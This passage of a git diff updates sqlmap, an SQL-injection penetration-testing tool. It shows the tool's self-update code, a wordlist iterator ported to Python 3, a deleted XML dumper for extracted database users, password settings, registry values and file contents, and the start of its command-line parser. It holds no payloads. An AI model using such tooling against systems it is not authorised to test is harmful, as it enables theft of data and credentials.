"sqlmap.py")).st_mode + for wildcard in ('*', ".*"): + for _ in glob.glob(os.path.join(directory, wildcard)): + try: + if os.path.isdir(_): + shutil.rmtree(_) + else: + os.remove(_) + except: + pass + + if glob.glob(os.path.join(directory, '*')): + errMsg = "unable to clear the content of directory '%s'" % directory + logger.error(errMsg) + else: + try: + archive = _urllib.request.urlretrieve(ZIPBALL_PAGE)[0] + + with zipfile.ZipFile(archive) as f: + for info in f.infolist(): + info.filename = re.sub(r"\Asqlmap[^/]+", "", info.filename) + if info.filename: + f.extract(info, directory) + + filepath = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py") + if os.path.isfile(filepath): + with openFile(filepath, "r") as f: + version = re.search(r"(?m)^VERSION\s*=\s*['\"]([^'\"]+)", f.read()).group(1) + logger.info("updated to the latest version '%s#dev'" % version) + success = True + except Exception as ex: + logger.error("update could not be completed ('%s')" % getSafeExString(ex)) + else: + if not success: + logger.error("update could not be completed") + else: + try: + os.chmod(os.path.join(directory, "sqlmap.py"), attrs) + except OSError: + logger.warning("could not set the file attributes of '%s'" % os.path.join(directory, "sqlmap.py")) + else: - infoMsg = "updating sqlmap to the latest development version from the " + infoMsg = "updating sqlmap to the latest development revision from the " infoMsg += "GitHub repository" logger.info(infoMsg) debugMsg = "sqlmap will try to update itself using 'git' command" logger.debug(debugMsg) - dataToStdout("\r[%s] [INFO] update in progress " % time.strftime("%X")) - process = execute("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=PIPE, stderr=PIPE) - pollProcess(process, True) - stdout, stderr = process.communicate() - success = not process.returncode + dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X")) + + output = "" + try: + process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH) + output, _ = process.communicate() + success = not process.returncode + except Exception as ex: + success = False + output = getSafeExString(ex) + finally: + output = getText(output) if success: - import lib.core.settings - _ = lib.core.settings.REVISION = getRevisionNumber() - logger.info("%s the latest revision '%s'" % ("already at" if "Already" in stdout else "updated to", _)) + logger.info("%s the latest revision '%s'" % ("already at" if "Already" in output else "updated to", getRevisionNumber())) else: - if "Not a git repository" in stderr: + if "Not a git repository" in output: errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository " - errMsg += "from GitHub (e.g. 'git clone https://github.com/sqlmapproject/sqlmap.git sqlmap')" + errMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY logger.error(errMsg) else: - logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", stderr).strip()) + logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", output).strip()) if not success: if IS_WIN: infoMsg = "for Windows platform it's recommended " infoMsg += "to use a GitHub for Windows client for updating " - infoMsg += "purposes (http://windows.github.com/) or just " + infoMsg += "purposes (https://desktop.github.com/) or just " infoMsg += "download the latest snapshot from " - infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads" + infoMsg += "https://github.com/sqlmapproject/sqlmap/releases" else: - infoMsg = "for Linux platform it's required " - infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')" + infoMsg = "for Linux platform it's recommended " + infoMsg += "to install a standard 'git' package (e.g.: 'apt install git')" logger.info(infoMsg) diff --git a/lib/core/wordlist.py b/lib/core/wordlist.py index e7c902bebbe..d3462f111e9 100644 --- a/lib/core/wordlist.py +++ b/lib/core/wordlist.py @@ -1,25 +1,33 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import os import zipfile +from lib.core.common import getSafeExString +from lib.core.common import isZipFile from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapInstallationException -from lib.core.settings import UNICODE_ENCODING +from thirdparty import six -class Wordlist(object): +class Wordlist(six.Iterator): """ Iterator for looping over a large dictionaries + + >>> from lib.core.option import paths + >>> isinstance(next(Wordlist(paths.SMALL_DICT)), six.binary_type) + True + >>> isinstance(next(Wordlist(paths.WORDLIST)), six.binary_type) + True """ def __init__(self, filenames, proc_id=None, proc_count=None, custom=None): - self.filenames = filenames + self.filenames = [filenames] if isinstance(filenames, six.string_types) else filenames self.fp = None + self.zip_file = None self.index = 0 self.counter = -1 self.current = None @@ -35,25 +43,25 @@ def __iter__(self): def adjust(self): self.closeFP() if self.index > len(self.filenames): - raise StopIteration + return # Note: https://stackoverflow.com/a/30217723 (PEP 479) elif self.index == len(self.filenames): self.iter = iter(self.custom) else: self.current = self.filenames[self.index] - if os.path.splitext(self.current)[1].lower() == ".zip": + if isZipFile(self.current): try: - _ = zipfile.ZipFile(self.current, 'r') - except zipfile.error, ex: - errMsg = "something seems to be wrong with " - errMsg += "the file '%s' ('%s'). Please make " % (self.current, ex) + self.zip_file = zipfile.ZipFile(self.current, 'r') + except zipfile.error as ex: + errMsg = "something appears to be wrong with " + errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" - raise SqlmapInstallationException, errMsg - if len(_.namelist()) == 0: + raise SqlmapInstallationException(errMsg) + if len(self.zip_file.namelist()) == 0: errMsg = "no file(s) inside '%s'" % self.current raise SqlmapDataException(errMsg) - self.fp = _.open(_.namelist()[0]) + self.fp = self.zip_file.open(self.zip_file.namelist()[0]) else: - self.fp = open(self.current, 'r') + self.fp = open(self.current, "rb") self.iter = iter(self.fp) self.index += 1 @@ -63,23 +71,25 @@ def closeFP(self): self.fp.close() self.fp = None - def next(self): + if self.zip_file: + self.zip_file.close() + self.zip_file = None + + def __next__(self): retVal = None while True: self.counter += 1 try: - retVal = self.iter.next().rstrip() - except zipfile.error, ex: - errMsg = "something seems to be wrong with " - errMsg += "the file '%s' ('%s'). Please make " % (self.current, ex) + retVal = next(self.iter).rstrip() + except zipfile.error as ex: + errMsg = "something appears to be wrong with " + errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" - raise SqlmapInstallationException, errMsg + raise SqlmapInstallationException(errMsg) except StopIteration: - self.adjust() - retVal = self.iter.next().rstrip() - try: - retVal = retVal.decode(UNICODE_ENCODING) - except UnicodeDecodeError: + if self.index > len(self.filenames): # Note: no more sources (filenames + custom) to switch to + raise + self.adjust() # Note: switch to the next source and retry (gracefully skipping empty ones) continue if not self.proc_count or self.counter % self.proc_count == self.proc_id: break diff --git a/lib/core/xmldump.py b/lib/core/xmldump.py deleted file mode 100644 index e0c377962ed..00000000000 --- a/lib/core/xmldump.py +++ /dev/null @@ -1,536 +0,0 @@ -#!/usr/bin/env python - -import codecs -import os -import re -import xml - -import xml.sax.saxutils as saxutils - -from lib.core.common import getUnicode -from lib.core.data import conf -from lib.core.data import kb -from lib.core.data import logger -from lib.core.exception import SqlmapFilePathException -from lib.core.settings import UNICODE_ENCODING -from thirdparty.prettyprint import prettyprint -from xml.dom.minidom import Document -from xml.parsers.expat import ExpatError - -TECHNIC_ELEM_NAME = "Technic" -TECHNICS_ELEM_NAME = "Technics" -BANNER_ELEM_NAME = "Banner" -COLUMNS_ELEM_NAME = "DatabaseColumns" -COLUMN_ELEM_NAME = "Column" -CELL_ELEM_NAME = "Cell" -COLUMN_ATTR = "column" -ROW_ELEM_NAME = "Row" -TABLES_ELEM_NAME = "tables" -DATABASE_COLUMNS_ELEM = "DB" -DB_TABLES_ELEM_NAME = "DBTables" -DB_TABLE_ELEM_NAME = "DBTable" -IS_DBA_ELEM_NAME = "isDBA" -FILE_CONTENT_ELEM_NAME = "FileContent" -DB_ATTR = "db" -UNKNOWN_COLUMN_TYPE = "unknown" -USER_SETTINGS_ELEM_NAME = "UserSettings" -USER_SETTING_ELEM_NAME = "UserSetting" -USERS_ELEM_NAME = "Users" -USER_ELEM_NAME = "User" -DB_USER_ELEM_NAME = "DBUser" -SETTINGS_ELEM_NAME = "Settings" -DBS_ELEM_NAME = "DBs" -DB_NAME_ELEM_NAME = "DBName" -DATABASE_ELEM_NAME = "Database" -TABLE_ELEM_NAME = "Table" -DB_TABLE_VALUES_ELEM_NAME = "DBTableValues" -DB_VALUES_ELEM = "DBValues" -QUERIES_ELEM_NAME = "Queries" -QUERY_ELEM_NAME = "Query" -REGISTERY_ENTRIES_ELEM_NAME = "RegistryEntries" -REGISTER_DATA_ELEM_NAME = "RegisterData" -DEFAULT_DB = "All" -MESSAGE_ELEM = "Message" -MESSAGES_ELEM_NAME = "Messages" -ERROR_ELEM_NAME = "Error" -LST_ELEM_NAME = "List" -LSTS_ELEM_NAME = "Lists" -CURRENT_USER_ELEM_NAME = "CurrentUser" -CURRENT_DB_ELEM_NAME = "CurrentDB" -MEMBER_ELEM = "Member" -ADMIN_USER = "Admin" -REGULAR_USER = "User" -STATUS_ELEM_NAME = "Status" -RESULTS_ELEM_NAME = "Results" -UNHANDLED_PROBLEM_TYPE = "Unhandled" -NAME_ATTR = "name" -TYPE_ATTR = "type" -VALUE_ATTR = "value" -SUCESS_ATTR = "success" -NAME_SPACE_ATTR = 'http://www.w3.org/2001/XMLSchema-instance' -XMLNS_ATTR = "xmlns:xsi" -SCHEME_NAME = "sqlmap.xsd" -SCHEME_NAME_ATTR = "xsi:noNamespaceSchemaLocation" -CHARACTERS_TO_ENCODE = range(32) + range(127, 256) -ENTITIES = {'"': '"', "'": "'"} - -class XMLDump(object): - ''' - This class purpose is to dump the data into an xml Format. - The format of the xml file is described in the scheme file xml/sqlmap.xsd - ''' - - def __init__(self): - self._outputFile = None - self._outputFP = None - self.__root = None - self.__doc = Document() - - def _addToRoot(self, element): - ''' - Adds element to the root element - ''' - self.__root.appendChild(element) - - def __write(self, data, n=True): - ''' - Writes the data into the file - ''' - if n: - self._outputFP.write("%s\n" % data) - else: - self._outputFP.write("%s " % data) - - self._outputFP.flush() - - kb.dataOutputFlag = True - - def _getRootChild(self, elemName): - ''' - Returns the child of the root with the described name - ''' - elements = self.__root.getElementsByTagName(elemName) - if elements: - return elements[0] - - return elements - - def _createTextNode(self, data): - ''' - Creates a text node with utf8 data inside. - The text is escaped to an fit the xml text Format. - ''' - if data is None: - return self.__doc.createTextNode(u'') - else: - escaped_data = saxutils.escape(data, ENTITIES) - return self.__doc.createTextNode(escaped_data) - - def _createAttribute(self, attrName, attrValue): - ''' - Creates an attribute node with utf8 data inside. - The text is escaped to an fit the xml text Format. - ''' - attr = self.__doc.createAttribute(attrName) - if attrValue is None: - attr.nodeValue = u'' - else: - attr.nodeValue = getUnicode(attrValue) - return attr - - def string(self, header, data, sort=True): - ''' - Adds string element to the xml. - ''' - if isinstance(data, (list, tuple, set)): - self.lister(header, data, sort) - return - - messagesElem = self._getRootChild(MESSAGES_ELEM_NAME) - if (not(messagesElem)): - messagesElem = self.__doc.createElement(MESSAGES_ELEM_NAME) - self._addToRoot(messagesElem) - - if data: - data = self._formatString(data) - else: - data = "" - - elem = self.__doc.createElement(MESSAGE_ELEM) - elem.setAttributeNode(self._createAttribute(TYPE_ATTR, header)) - elem.appendChild(self._createTextNode(data)) - messagesElem.appendChild(elem) - - def lister(self, header, elements, sort=True): - ''' - Adds information formatted as list element - ''' - lstElem = self.__doc.createElement(LST_ELEM_NAME) - lstElem.setAttributeNode(self._createAttribute(TYPE_ATTR, header)) - if elements: - if sort: - try: - elements = set(elements) - elements = list(elements) - elements.sort(key=lambda x: x.lower()) - except: - pass - - for element in elements: - memberElem = self.__doc.createElement(MEMBER_ELEM) - lstElem.appendChild(memberElem) - if isinstance(element, basestring): - memberElem.setAttributeNode(self._createAttribute(TYPE_ATTR, "string")) - memberElem.appendChild(self._createTextNode(element)) - elif isinstance(element, (list, tuple, set)): - memberElem.setAttributeNode(self._createAttribute(TYPE_ATTR, "list")) - for e in element: - memberElemStr = self.__doc.createElement(MEMBER_ELEM) - memberElemStr.setAttributeNode(self._createAttribute(TYPE_ATTR, "string")) - memberElemStr.appendChild(self._createTextNode(getUnicode(e))) - memberElem.appendChild(memberElemStr) - listsElem = self._getRootChild(LSTS_ELEM_NAME) - if not(listsElem): - listsElem = self.__doc.createElement(LSTS_ELEM_NAME) - self._addToRoot(listsElem) - listsElem.appendChild(lstElem) - - def technic(self, technicType, data): - ''' - Adds information about the technic used to extract data from the db - ''' - technicElem = self.__doc.createElement(TECHNIC_ELEM_NAME) - technicElem.setAttributeNode(self._createAttribute(TYPE_ATTR, technicType)) - textNode = self._createTextNode(data) - technicElem.appendChild(textNode) - technicsElem = self._getRootChild(TECHNICS_ELEM_NAME) - if not(technicsElem): - technicsElem = self.__doc.createElement(TECHNICS_ELEM_NAME) - self._addToRoot(technicsElem) - technicsElem.appendChild(technicElem) - - def banner(self, data): - ''' - Adds information about the database banner to the xml. - The banner contains information about the type and the version of the database. - ''' - bannerElem = self.__doc.createElement(BANNER_ELEM_NAME) - bannerElem.appendChild(self._createTextNode(data)) - self._addToRoot(bannerElem) - - def currentUser(self, data): - ''' - Adds information about the current database user to the xml - ''' - currentUserElem = self.__doc.createElement(CURRENT_USER_ELEM_NAME) - textNode = self._createTextNode(data) - currentUserElem.appendChild(textNode) - self._addToRoot(currentUserElem) - - def currentDb(self, data): - ''' - Adds information about the current database is use to the xml - ''' - currentDBElem = self.__doc.createElement(CURRENT_DB_ELEM_NAME) - textNode = self._createTextNode(data) - currentDBElem.appendChild(textNode) - self._addToRoot(currentDBElem) - - def dba(self, isDBA): - ''' - Adds information to the xml that indicates whether the user has DBA privileges - ''' - isDBAElem = self.__doc.createElement(IS_DBA_ELEM_NAME) - isDBAElem.setAttributeNode(self._createAttribute(VALUE_ATTR, getUnicode(isDBA))) - self._addToRoot(isDBAElem) - - def users(self, users): - ''' - Adds a list of the existing users to the xml - ''' - usersElem = self.__doc.createElement(USERS_ELEM_NAME) - if isinstance(users, basestring): - users = [users] - if users: - for user in users: - userElem = self.__doc.createElement(DB_USER_ELEM_NAME) - usersElem.appendChild(userElem) - userElem.appendChild(self._createTextNode(user)) - self._addToRoot(usersElem) - - def dbs(self, dbs): - ''' - Adds a list of the existing databases to the xml - ''' - dbsElem = self.__doc.createElement(DBS_ELEM_NAME) - if dbs: - for db in dbs: - dbElem = self.__doc.createElement(DB_NAME_ELEM_NAME) - dbsElem.appendChild(dbElem) - dbElem.appendChild(self._createTextNode(db)) - self._addToRoot(dbsElem) - - def userSettings(self, header, userSettings, subHeader): - ''' - Adds information about the user's settings to the xml. - The information can be user's passwords, privileges and etc.. - ''' - self._areAdmins = set() - userSettingsElem = self._getRootChild(USER_SETTINGS_ELEM_NAME) - if (not(userSettingsElem)): - userSettingsElem = self.__doc.createElement(USER_SETTINGS_ELEM_NAME) - self._addToRoot(userSettingsElem) - - userSettingElem = self.__doc.createElement(USER_SETTING_ELEM_NAME) - userSettingElem.setAttributeNode(self._createAttribute(TYPE_ATTR, header)) - - if isinstance(userSettings, (tuple, list, set)): - self._areAdmins = userSettings[1] - userSettings = userSettings[0] - - users = userSettings.keys() - users.sort(key=lambda x: x.lower()) - - for user in users: - userElem = self.__doc.createElement(USER_ELEM_NAME) - userSettingElem.appendChild(userElem) - if user in self._areAdmins: - userElem.setAttributeNode(self._createAttribute(TYPE_ATTR, ADMIN_USER)) - else: - userElem.setAttributeNode(self._createAttribute(TYPE_ATTR, REGULAR_USER)) - - settings = userSettings[user] - - settings.sort() - - for setting in settings: - settingsElem = self.__doc.createElement(SETTINGS_ELEM_NAME) - settingsElem.setAttributeNode(self._createAttribute(TYPE_ATTR, subHeader)) - settingTextNode = self._createTextNode(setting) - settingsElem.appendChild(settingTextNode) - userElem.appendChild(settingsElem) - userSettingsElem.appendChild(userSettingElem) - - def dbTables(self, dbTables): - ''' - Adds information of the existing db tables to the xml - ''' - if not isinstance(dbTables, dict): - self.string(TABLES_ELEM_NAME, dbTables) - return - - dbTablesElem = self.__doc.createElement(DB_TABLES_ELEM_NAME) - - for db, tables in dbTables.items(): - tables.sort(key=lambda x: x.lower()) - dbElem = self.__doc.createElement(DATABASE_ELEM_NAME) - dbElem.setAttributeNode(self._createAttribute(NAME_ATTR, db)) - dbTablesElem.appendChild(dbElem) - for table in tables: - tableElem = self.__doc.createElement(DB_TABLE_ELEM_NAME) - tableElem.appendChild(self._createTextNode(table)) - dbElem.appendChild(tableElem) - self._addToRoot(dbTablesElem) - - def dbTableColumns(self, tableColumns): - ''' - Adds information about the columns of the existing tables to the xml - ''' - - columnsElem = self._getRootChild(COLUMNS_ELEM_NAME) - if not(columnsElem): - columnsElem = self.__doc.createElement(COLUMNS_ELEM_NAME) - - for db, tables in tableColumns.items(): - if not db: - db = DEFAULT_DB - dbElem = self.__doc.createElement(DATABASE_COLUMNS_ELEM) - dbElem.setAttributeNode(self._createAttribute(NAME_ATTR, db)) - columnsElem.appendChild(dbElem) - - for table, columns in tables.items(): - tableElem = self.__doc.createElement(TABLE_ELEM_NAME) - tableElem.setAttributeNode(self._createAttribute(NAME_ATTR, table)) - - colList = columns.keys() - colList.sort(key=lambda x: x.lower()) - - for column in colList: - colType = columns[column] - colElem = self.__doc.createElement(COLUMN_ELEM_NAME) - if colType is not None: - colElem.setAttributeNode(self._createAttribute(TYPE_ATTR, colType)) - else: - colElem.setAttributeNode(self._createAttribute(TYPE_ATTR, UNKNOWN_COLUMN_TYPE)) - colElem.appendChild(self._createTextNode(column)) - tableElem.appendChild(colElem) - - self._addToRoot(columnsElem) - - def dbTableValues(self, tableValues): - ''' - Adds the values of specific table to the xml. - The values are organized according to the relevant row and column. - ''' - tableElem = self.__doc.createElement(DB_TABLE_VALUES_ELEM_NAME) - if (tableValues is not None): - db = tableValues["__infos__"]["db"] - if not db: - db = "All" - table = tableValues["__infos__"]["table"] - - count = int(tableValues["__infos__"]["count"]) - columns = tableValues.keys() - columns.sort(key=lambda x: x.lower()) - - tableElem.setAttributeNode(self._createAttribute(DB_ATTR, db)) - tableElem.setAttributeNode(self._createAttribute(NAME_ATTR, table)) - - for i in range(count): - rowElem = self.__doc.createElement(ROW_ELEM_NAME) - tableElem.appendChild(rowElem) - for column in columns: - if column != "__infos__": - info = tableValues[column] - value = info["values"][i] - - if re.search("^[\ *]*$", value): - value = "NULL" - - cellElem = self.__doc.createElement(CELL_ELEM_NAME) - cellElem.setAttributeNode(self._createAttribute(COLUMN_ATTR, column)) - cellElem.appendChild(self._createTextNode(value)) - rowElem.appendChild(cellElem) - - dbValuesElem = self._getRootChild(DB_VALUES_ELEM) - if (not(dbValuesElem)): - dbValuesElem = self.__doc.createElement(DB_VALUES_ELEM) - self._addToRoot(dbValuesElem) - - dbValuesElem.appendChild(tableElem) - - logger.info("Table '%s.%s' dumped to XML file" % (db, table)) - - def dbColumns(self, dbColumns, colConsider, dbs): - ''' - Adds information about the columns - ''' - for column in dbColumns.keys(): - printDbs = {} - for db, tblData in dbs.items(): - for tbl, colData in tblData.items(): - for col, dataType in colData.items(): - if column in col: - if db in printDbs: - if tbl in printDbs[db]: - printDbs[db][tbl][col] = dataType - else: - printDbs[db][tbl] = {col: dataType} - else: - printDbs[db] = {} - printDbs[db][tbl] = {col: dataType} - - continue - - self.dbTableColumns(printDbs) - - def query(self, query, queryRes): - ''' - Adds details of an executed query to the xml. - The query details are the query itself and its results. - ''' - queryElem = self.__doc.createElement(QUERY_ELEM_NAME) - queryElem.setAttributeNode(self._createAttribute(VALUE_ATTR, query)) - queryElem.appendChild(self._createTextNode(queryRes)) - queriesElem = self._getRootChild(QUERIES_ELEM_NAME) - if (not(queriesElem)): - queriesElem = self.__doc.createElement(QUERIES_ELEM_NAME) - self._addToRoot(queriesElem) - queriesElem.appendChild(queryElem) - - def registerValue(self, registerData): - ''' - Adds information about an extracted registry key to the xml - ''' - registerElem = self.__doc.createElement(REGISTER_DATA_ELEM_NAME) - registerElem.appendChild(self._createTextNode(registerData)) - registriesElem = self._getRootChild(REGISTERY_ENTRIES_ELEM_NAME) - if (not(registriesElem)): - registriesElem = self.__doc.createElement(REGISTERY_ENTRIES_ELEM_NAME) - self._addToRoot(registriesElem) - registriesElem.appendChild(registerElem) - - def rFile(self, filePath, data): - ''' - Adds an extracted file's content to the xml - ''' - fileContentElem = self.__doc.createElement(FILE_CONTENT_ELEM_NAME) - fileContentElem.setAttributeNode(self._createAttribute(NAME_ATTR, filePath)) - fileContentElem.appendChild(self._createTextNode(data)) - self._addToRoot(fileContentElem) - - def setOutputFile(self): - ''' - Initiates the xml file from the configuration. - ''' - if (conf.xmlFile): - try: - self._outputFile = conf.xmlFile - self.__root = None - - if os.path.exists(self._outputFile): - try: - self.__doc = xml.dom.minidom.parse(self._outputFile) - self.__root = self.__doc.childNodes[0] - except ExpatError: - self.__doc = Document() - - self._outputFP = codecs.open(self._outputFile, "w+", UNICODE_ENCODING) - - if self.__root is None: - self.__root = self.__doc.createElementNS(NAME_SPACE_ATTR, RESULTS_ELEM_NAME) - self.__root.setAttributeNode(self._createAttribute(XMLNS_ATTR, NAME_SPACE_ATTR)) - self.__root.setAttributeNode(self._createAttribute(SCHEME_NAME_ATTR, SCHEME_NAME)) - self.__doc.appendChild(self.__root) - except IOError: - raise SqlmapFilePathException("Wrong filename provided for saving the xml file: %s" % conf.xmlFile) - - def getOutputFile(self): - return self._outputFile - - def finish(self, resultStatus, resultMsg=""): - ''' - Finishes the dumper operation: - 1. Adds the session status to the xml - 2. Writes the xml to the file - 3. Closes the xml file - ''' - if ((self._outputFP is not None) and not(self._outputFP.closed)): - statusElem = self.__doc.createElement(STATUS_ELEM_NAME) - statusElem.setAttributeNode(self._createAttribute(SUCESS_ATTR, getUnicode(resultStatus))) - - if not resultStatus: - errorElem = self.__doc.createElement(ERROR_ELEM_NAME) - - if isinstance(resultMsg, Exception): - errorElem.setAttributeNode(self._createAttribute(TYPE_ATTR, type(resultMsg).__name__)) - else: - errorElem.setAttributeNode(self._createAttribute(TYPE_ATTR, UNHANDLED_PROBLEM_TYPE)) - - errorElem.appendChild(self._createTextNode(getUnicode(resultMsg))) - statusElem.appendChild(errorElem) - - self._addToRoot(statusElem) - self.__write(prettyprint.formatXML(self.__doc, encoding=UNICODE_ENCODING)) - self._outputFP.close() - - -def closeDumper(status, msg=""): - """ - Closes the dumper of the session - """ - - if hasattr(conf, "dumper") and hasattr(conf.dumper, "finish"): - conf.dumper.finish(status, msg) - -dumper = XMLDump() diff --git a/lib/parse/__init__.py b/lib/parse/__init__.py index 8d7bcd8f0a1..bcac841631b 100644 --- a/lib/parse/__init__.py +++ b/lib/parse/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/parse/banner.py b/lib/parse/banner.py index c83c42aa014..b735f6eaedc 100644 --- a/lib/parse/banner.py +++ b/lib/parse/banner.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re @@ -12,6 +12,7 @@ from lib.core.common import Backend from lib.core.common import parseXmlFile from lib.core.common import sanitizeStr +from lib.core.common import singleTimeWarnMessage from lib.core.data import kb from lib.core.data import paths from lib.core.enums import DBMS @@ -26,7 +27,7 @@ class MSSQLBannerHandler(ContentHandler): def __init__(self, banner, info): ContentHandler.__init__(self) - self._banner = sanitizeStr(banner) + self._banner = sanitizeStr(banner or "") self._inVersion = False self._inServicePack = False self._release = None @@ -53,16 +54,16 @@ def startElement(self, name, attrs): elif name == "servicepack": self._inServicePack = True - def characters(self, data): + def characters(self, content): if self._inVersion: - self._version += sanitizeStr(data) + self._version += sanitizeStr(content) elif self._inServicePack: - self._servicePack += sanitizeStr(data) + self._servicePack += sanitizeStr(content) def endElement(self, name): if name == "signature": for version in (self._version, self._versionAlt): - if version and re.search(r" %s[\.\ ]+" % re.escape(version), self._banner): + if version and self._banner and re.search(r" %s[\.\ ]+" % re.escape(version), self._banner): self._feedInfo("dbmsRelease", self._release) self._feedInfo("dbmsVersion", self._version) self._feedInfo("dbmsServicePack", self._servicePack) @@ -103,13 +104,17 @@ def bannerParser(banner): if not xmlfile: return - if Backend.isDbms(DBMS.MSSQL): - handler = MSSQLBannerHandler(banner, kb.bannerFp) - parseXmlFile(xmlfile, handler) - - handler = FingerprintHandler(banner, kb.bannerFp) - parseXmlFile(paths.GENERIC_XML, handler) - else: - handler = FingerprintHandler(banner, kb.bannerFp) - parseXmlFile(xmlfile, handler) - parseXmlFile(paths.GENERIC_XML, handler) + try: + if Backend.isDbms(DBMS.MSSQL): + handler = MSSQLBannerHandler(banner, kb.bannerFp) + parseXmlFile(xmlfile, handler) + + handler = FingerprintHandler(banner, kb.bannerFp) + parseXmlFile(paths.GENERIC_XML, handler) + else: + handler = FingerprintHandler(banner, kb.bannerFp) + parseXmlFile(xmlfile, handler) + parseXmlFile(paths.GENERIC_XML, handler) + except Exception: + # best-effort banner fingerprinting - a broken/patched xml.sax must not abort the scan (see #6086) + singleTimeWarnMessage("unable to parse the DBMS banner for version fingerprinting") diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 68bad2f3f2b..03bddb531be 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -1,33 +1,90 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from __future__ import print_function + import os import re import shlex import sys -from optparse import OptionError -from optparse import OptionGroup -from optparse import OptionParser -from optparse import SUPPRESS_HELP +try: + from optparse import OptionError as ArgumentError + from optparse import OptionGroup + from optparse import OptionParser as ArgumentParser + from optparse import SUPPRESS_HELP as SUPPRESS + + ArgumentParser.add_argument = ArgumentParser.add_option + + def _add_argument_group(self, *args, **kwargs): + return self.add_option_group(OptionGroup(self, *args, **kwargs)) + + ArgumentParser.add_argument_group = _add_argument_group + + def _add_argument(self, *args, **kwargs): + return self.add_option(*args, **kwargs) + + OptionGroup.add_argument = _add_argument + +except ImportError: + from argparse import ArgumentParser + from argparse import ArgumentError + from argparse import SUPPRESS + +finally: + def get_actions(instance): + for attr in ("option_list", "_group_actions", "_actions"): + if hasattr(instance, attr): + return getattr(instance, attr) -from lib.core.common import checkDeprecatedOptions + def get_groups(parser): + return getattr(parser, "option_groups", None) or getattr(parser, "_action_groups") + + def get_all_options(parser): + retVal = set() + + for option in get_actions(parser): + if hasattr(option, "option_strings"): + retVal.update(option.option_strings) + else: + retVal.update(option._long_opts) + retVal.update(option._short_opts) + + for group in get_groups(parser): + for option in get_actions(group): + if hasattr(option, "option_strings"): + retVal.update(option.option_strings) + else: + retVal.update(option._long_opts) + retVal.update(option._short_opts) + + return retVal + +from lib.core.common import checkOldOptions from lib.core.common import checkSystemEncoding +from lib.core.common import dataToStdout from lib.core.common import expandMnemonics -from lib.core.common import getUnicode +from lib.core.common import getSafeExString +from lib.core.compat import xrange +from lib.core.convert import getUnicode from lib.core.data import cmdLineOptions from lib.core.data import conf from lib.core.data import logger from lib.core.defaults import defaults +from lib.core.dicts import DEPRECATED_OPTIONS from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.exception import SqlmapShellQuitException +from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapSyntaxException +from lib.core.option import _createHomeDirectories from lib.core.settings import BASIC_HELP_ITEMS from lib.core.settings import DUMMY_URL +from lib.core.settings import IGNORED_OPTIONS +from lib.core.settings import INFERENCE_UNKNOWN_CHAR from lib.core.settings import IS_WIN from lib.core.settings import MAX_HELP_OPTION_LENGTH from lib.core.settings import VERSION_STRING @@ -35,6 +92,7 @@ from lib.core.shell import clearHistory from lib.core.shell import loadHistory from lib.core.shell import saveHistory +from thirdparty.six.moves import input as _input def cmdLineParser(argv=None): """ @@ -46,829 +104,972 @@ def cmdLineParser(argv=None): checkSystemEncoding() - _ = getUnicode(os.path.basename(argv[0]), encoding=sys.getfilesystemencoding()) + # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING") + _ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding) - usage = "%s%s [options]" % ("python " if not IS_WIN else "", \ - "\"%s\"" % _ if " " in _ else _) - - parser = OptionParser(usage=usage) + usage = "%s%s [options]" % ("%s " % os.path.basename(sys.executable) if not IS_WIN else "", "\"%s\"" % _ if " " in _ else _) + parser = ArgumentParser(usage=usage) try: - parser.add_option("--hh", dest="advancedHelp", - action="store_true", - help="Show advanced help message and exit") + parser.add_argument("--hh", dest="advancedHelp", action="store_true", + help="Show advanced help message and exit") - parser.add_option("--version", dest="showVersion", - action="store_true", - help="Show program's version number and exit") + parser.add_argument("--version", dest="showVersion", action="store_true", + help="Show program's version number and exit") - parser.add_option("-v", dest="verbose", type="int", - help="Verbosity level: 0-6 (default %d)" % defaults.verbose) + parser.add_argument("-v", dest="verbose", type=int, + help="Verbosity level: 0-6 (default %d)" % defaults.verbose) # Target options - target = OptionGroup(parser, "Target", "At least one of these " - "options has to be provided to define the target(s)") + target = parser.add_argument_group("Target", "At least one of these options has to be provided to define the target(s)") + + target.add_argument("-u", "--url", dest="url", + help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")") - target.add_option("-d", dest="direct", help="Connection 